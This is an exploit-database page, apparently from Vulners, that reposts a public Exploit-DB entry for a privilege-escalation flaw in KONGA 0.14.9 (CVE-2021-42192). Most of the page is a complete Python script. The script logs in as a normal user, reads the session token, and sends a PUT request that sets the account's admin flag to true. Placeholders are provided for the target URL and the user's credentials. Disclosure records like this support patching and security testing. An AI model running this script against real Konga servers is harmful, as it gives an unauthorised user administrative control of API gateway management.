Lucene search
+L

KONGA 0.14.9 - Privilege Escalation

🗓️ 15 Nov 2021 00:00:00Reported by Fabricio SalomaoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 457 Views

KONGA 0.14.9 Privilege Escalation exploi

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Konga_Project Konga
15 Oct 202120:19
–githubexploit
attackerkb
attackerkb
CVE-2021-42192
4 May 202211:15
–attackerkb
circl
Circl
CVE-2021-42192
4 May 202214:34
–circl
cnnvd
CNNVD
KONGA security vulnerabilities
4 May 202200:00
–cnnvd
cve
CVE
CVE-2021-42192
4 May 202200:00
–cve
cvelist
Cvelist
CVE-2021-42192
4 May 202200:00
–cvelist
mend
Mend
CVE-2021-42192
4 May 202200:00
–mend
nuclei
Nuclei
KONGA 0.14.9 - Privilege Escalation
23 Nov 202602:03
–nuclei
nvd
NVD
CVE-2021-42192
4 May 202211:15
–nvd
osv_cve
osv_cve
CVE-2021-42192
4 May 202211:15
–osv_cve
Rows per page
# Exploit Title: KONGA 0.14.9 - Privilege Escalation
# Date: 10/11/2021
# Exploit Author: Fabricio Salomao & Paulo Trindade (@paulotrindadec)
# Vendor Homepage: https://github.com/pantsel/konga
# Software Link: https://github.com/pantsel/konga/archive/refs/tags/0.14.9.zip
# Version: 0.14.9
# Tested on: Linux - Ubuntu 20.04.3 LTS (focal)



import requests
import json

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

headers = {
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
	"Content-Type": "application/json;charset=utf-8",
	"connection-id": "",
	"Origin": urlkonga,
	"Referer": urlkonga
}

url = urlkonga+"login"

data = {
	"identifier":identifier,
	"password":password
}

response = requests.post(url, json=data)
json_object = json.loads(response.text)
print("[+] Attack")
print("[+] Token " + json_object["token"])

url2 = urlkonga+"api/user/"+str(json_object["user"]["id"])
id = json_object["user"]["id"]
print("[+] Exploiting User ID "+str(json_object["user"]["id"]))

data2 = {
  "admin": "true",
  "passports": {
    "password": password,
    "protocol": "local"
  },
  "password_confirmation": password,
  "token":json_object["token"]
}

print("[+] Change Normal User to Admin")
response2 = requests.put(url2, headers=headers, json=data2)
print("[+] Success")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.8
CVSS 29
EPSS0.27288
457